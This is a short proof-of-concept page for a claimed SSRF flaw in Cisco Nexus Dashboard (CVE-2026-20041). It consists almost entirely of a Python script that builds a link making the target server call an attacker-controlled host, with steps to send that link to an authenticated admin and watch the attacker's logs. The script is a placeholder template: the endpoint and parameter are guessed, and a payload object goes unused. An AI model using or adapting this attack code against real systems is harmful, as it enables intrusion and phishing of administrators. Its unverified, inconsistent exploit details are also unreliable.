CVE-2026-20041 Cisco Nexus Dashboard SSRF漏洞

import requests # Target URL of the Cisco Nexus Dashboard # Replace with actual vulnerable endpoint based on advisory target_base = "https://<target-ip-or-domain>" vulnerable_endpoint = "/api/v1/specific-endpoint" # Attacker controlled server to receive requests attacker_server = "http://attacker-controlled-server/callback" # The payload crafted to trigger SSRF # This assumes the vulnerable endpoint takes a 'url' parameter payload = { "url": attacker_server, "other_param": "value" } # Step 1: Attacker sends this link to an authenticated admin # Link: https://<target-ip-or-domain>/api/v1/specific-endpoint?url=http://attacker-controlled-server/callback # Step 2: If the admin clicks, the server sends a request to 'attacker_server' print(f"[+] Send this link to victim: {target_base}{vulnerable_endpoint}?url={attacker_server}") # Step 3: Check attacker server logs for incoming requests from the target device